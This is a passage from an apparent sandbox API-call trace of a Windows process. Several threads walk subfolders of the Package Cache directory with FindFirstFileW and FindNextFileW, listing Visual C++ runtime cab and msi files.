_String2="..") returned 0 [0155.329] FindNextFileW (in: hFindFile=0x1ced5c80, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0155.329] wcscmp (_String1="x64", _String2=".") returned 1 [0155.329] wcscmp (_String1="x64", _String2="..") returned 1 [0155.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205e660 [0155.330] wcscpy (in: _Dest=0x4205e660, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0155.330] wcscat (in: _Dest=0x4205e660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\" [0155.330] wcscat (in: _Dest=0x4205e660, _Source="x64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" [0158.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205e660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0158.772] FindNextFileW (in: hFindFile=0x1ced5c80, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0158.772] FindClose (in: hFindFile=0x1ced5c80 | out: hFindFile=0x1ced5c80) returned 1 [0158.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0158.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279af0) returned 1 [0158.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107000) returned 1 Thread: id = 2541 os_tid = 0x2020 [0155.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799430 [0155.335] wcscpy (in: _Dest=0x1b799430, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0155.335] wcscat (in: _Dest=0x1b799430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\" [0155.335] wcscat (in: _Dest=0x1b799430, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" [0155.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0155.335] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0155.336] wcscmp (_String1=".", _String2=".") returned 0 [0155.336] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.336] wcscmp (_String1="..", _String2=".") returned 1 [0155.336] wcscmp (_String1="..", _String2="..") returned 0 [0155.336] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0155.336] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0155.336] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0155.336] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0155.336] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0155.336] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0155.336] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0155.337] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0155.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0155.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799430) returned 1 [0155.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 Thread: id = 2542 os_tid = 0x2024 [0155.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf0) returned 0x1b78e280 [0155.344] wcscpy (in: _Dest=0x1b78e280, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0155.344] wcscat (in: _Dest=0x1b78e280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\" [0155.344] wcscat (in: _Dest=0x1b78e280, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" [0155.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0155.344] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0155.345] wcscmp (_String1=".", _String2=".") returned 0 [0155.345] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.345] wcscmp (_String1="..", _String2=".") returned 1 [0155.345] wcscmp (_String1="..", _String2="..") returned 0 [0155.345] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0155.345] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0155.345] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0155.345] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0155.345] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0155.345] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0155.345] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0155.346] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0155.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0155.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e280) returned 1 [0155.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 Thread: id = 2543 os_tid = 0x2028 [0155.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b799520 [0155.350] wcscpy (in: _Dest=0x1b799520, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0155.350] wcscat (in: _Dest=0x1b799520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\" [0155.350] wcscat (in: _Dest=0x1b799520, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*" [0155.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0155.350] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0155.350] wcscmp (_String1=".", _String2=".") returned 0 [0155.350] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.351] wcscmp (_String1="..", _String2=".") returned 1 [0155.351] wcscmp (_String1="..", _String2="..") returned 0 [0155.351] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0155.351] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0155.351] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0155.351] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0155.351] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0155.351] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0155.351] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0155.351] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0155.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0155.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 [0155.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 Thread: id = 2544 os_tid = 0x202c [0155.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b772eb0 [0155.355] wcscpy (in: _Dest=0x1b772eb0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0155.355] wcscat (in: _Dest=0x1b772eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\" [0155.355] wcscat (in: _Dest=0x1b772eb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*" [0155.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0155.355] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0155.356] wcscmp (_String1=".", _String2=".") returned 0 [0155.356] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.356] wcscmp (_String1="..", _String2=".") returned 1 [0155.356] wcscmp (_String1="..", _String2="..") returned 0 [0155.356] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0155.356] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0155.356] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0155.356] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0155.356] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0155.356] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0155.356] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0155.356] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0155.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0155.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0155.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7731b0) returned 1 Thread: id = 2545 os_tid = 0x2030 [0155.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b7731b0 [0155.360] wcscpy (in: _Dest=0x1b7731b0, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0155.361] wcscat (in: _Dest=0x1b7731b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\" [0155.361] wcscat (in: _Dest=0x1b7731b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*" [0155.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0155.361] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0155.362] wcscmp (_String1=".", _String2=".") returned 0 [0155.362] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, 